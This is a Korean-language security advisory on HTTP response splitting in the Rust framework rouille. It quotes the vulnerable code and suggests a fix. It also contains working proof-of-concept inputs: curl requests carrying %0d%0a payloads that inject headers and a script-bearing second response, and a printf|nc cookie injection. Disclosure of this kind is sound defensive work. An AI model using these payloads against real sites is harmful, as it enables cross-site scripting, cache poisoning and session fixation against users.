
보안 권고: 검증되지 않은 응답 헤더 값을 통한 HTTP 응답 분할 (rouille)
지정 CVE ID: CVE-2026-66746
rouille는 응답 헤더 값을 캐리지 리턴 또는 라인 피드 검사 없이 클라이언트에 기록합니다. 따라서 공격자의 영향을 받은 텍스트를 헤더 값에 넣는 애플리케이션은 추가 헤더 또는 두 번째 HTTP 응답 전체를 네트워크로 내보내게 됩니다.
rouille의 두 가지 속성으로 인해 일반적인 코드에서도 이 취약점에 도달할 수 있습니다. Request::get_param은 퍼센트 디코딩을 수행하므로 쿼리 문자열의 %0d%0a는 실제 CRLF가 됩니다. 그리고 session::session은 클라이언트 자신의 Cookie 값을 검증 없이 그대로 Set-Cookie에 복사합니다.
널리 사용되는 다른 모든 Rust HTTP 스택은 타입 수준에서 이를 거부합니다. http::HeaderValue::from_str은 CR과 LF에 대해 InvalidHeaderValue를 반환하므로 hyper, axum, actix-web 및 warp는 동일한 방식으로 노출되지 않습니다.
저장소 URL: https://github.com/tomaka/rouille
| 최초 영향 버전 | 아래 응답 헤더 경로 기준 0.4.0 (2016-12-14) |
| 마지막 영향 버전 | 3.6.2 (2023-04-24), 현재 릴리스 |
| 수정 버전 | 작성 시점 기준 수정 버전 없음 |
0.4.0 이전 릴리스는 검토되지 않은 다른 코드 경로를 통해 응답을 내보내므로 영향 여부를 단정하지 않습니다. 경로 B에 설명된 session::session 반사는 0.3.2(2016-12-02)부터 존재합니다.
CWE-113(HTTP 헤더의 CRLF 시퀀스 부적절한 중화)는 CWE-93(CRLF 주입)의 특정 사례입니다.
CVSS 4.0 기본 점수 5.3(중간)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
경로 A는 원격의 인증되지 않은 공격자와 공격자가 제공한 링크를 따라가는 피해자가 필요합니다. 공격자는 애플리케이션이 요청에서 파생된 문자열을 응답 헤더에 넣도록 해야 합니다. next 또는 return_to 쿼리 매개변수로 리디렉션하는 것이 일반적인 사례입니다.
경로 B는 애플리케이션이 session::session을 호출하고 세션 ID를 읽기만 하면 됩니다. 공격자는 자신의 Cookie 헤더를 제어하므로 단독으로는 자해 공격에 불과합니다. 공유 캐시가 분할된 응답을 저장하거나 피해자 브라우저에 쿠키를 설정하는 다른 방법과 결합될 때 제3자에 대한 공격이 됩니다.
rouille/src/lib.rs의 624~640행은 값을 그대로 전달합니다:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes는 바이트가 ASCII인지만 검사하며 CR과 LF는 ASCII입니다. tiny_http-0.12.0/src/common.rs의 166~172행:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
그런 다음 값은 이스케이프 없이 기록됩니다. tiny_http-0.12.0/src/response.rs의 99~104행:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param은 퍼센트 이스케이프를 디코딩하므로 호출자는 실제 제어 문자를 받습니다. rouille/src/lib.rs의 928~932행:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs는 59행에서 클라이언트 쿠키에서 키를 가져와 75~81행의 응답 헤더에 삽입합니다:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
1단계. 쿼리 매개변수로 리디렉션하는 서버를 시작합니다.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
2단계. 매개변수에 %0d%0a를 넣어 요청합니다.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
결과. X-Injected가 자체 헤더로 도착합니다:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
3단계. 페이로드를 헤더 끝 너머로 확장하여 두 번째 응답 전체를 내보냅니다.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
결과. 하나의 요청에 두 개의 완전한 응답이 발생합니다. 두 번째 응답에는 공격자가 선택한 상태 줄, 콘텐츠 유형 및 본문이 포함됩니다:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
1단계. 문서화된 세션 관용구를 사용하는 서버를 시작합니다.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
2단계. 값에 단독 LF가 포함된 쿠키를 보냅니다. 아래 \n은 단일 라인 피드이고 \r\n은 CRLF입니다.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
결과. 값이 Set-Cookie에서 벗어나 자체 줄로 분리됩니다:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
경로 B에는 주목할 만한 제한이 세 가지 있습니다. CRLF는 tiny_http에서 헤더 줄을 종료했을 것이므로 단독 LF만 통과하며, 따라서 클라이언트나 캐시는 단독 LF를 종결자로 처리해야 합니다. 주입 지점 이후의 모든 내용에는 여전히 동일한 format!의 ; Max-Age=3600; Path=/; HttpOnly 접미사가 붙으므로, 이 기본 요소는 완전한 임의 헤더가 아니라 고정된 후행 문자열이 있는 헤더입니다. 그리고 공격자는 자신의 쿠키만 제어할 수 있습니다. 경로 A에는 이러한 제한이 없습니다.
오리진 보안 컨텍스트에서의 스크립트 실행, 공유 캐시가 피해자의 URL에 대해 주입된 응답을 저장하는 캐시 오염, 주입된 Set-Cookie를 통한 세션 고정, 그리고 CSP 또는 CORS와 같은 보안 헤더 덮어쓰기. 경로 A는 실제 CRLF를 생성하므로 모든 클라이언트와 캐시가 이를 기준으로 분할합니다.
rouille/src/lib.rs의 634행 부근에서 tiny_http에 전달하기 전에 Server::process에서 헤더 값을 검증합니다:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
문제의 헤더를 삭제하는 대신 전체 응답에 대해 500을 반환하여 응답을 조용히 변경하는 대신 오류가 표시되도록 합니다.
session::session에서도 세션 키를 검증합니다: [A-Za-z0-9]+가 아닌 쿠키 값을 거부하고 새 ID를 생성합니다. Response::with_additional_header, with_unique_header 및 redirect_* 생성자에서 검사하면 애플리케이션 작성자가 조치를 취할 수 있는 호출 지점에서 오류가 표시됩니다.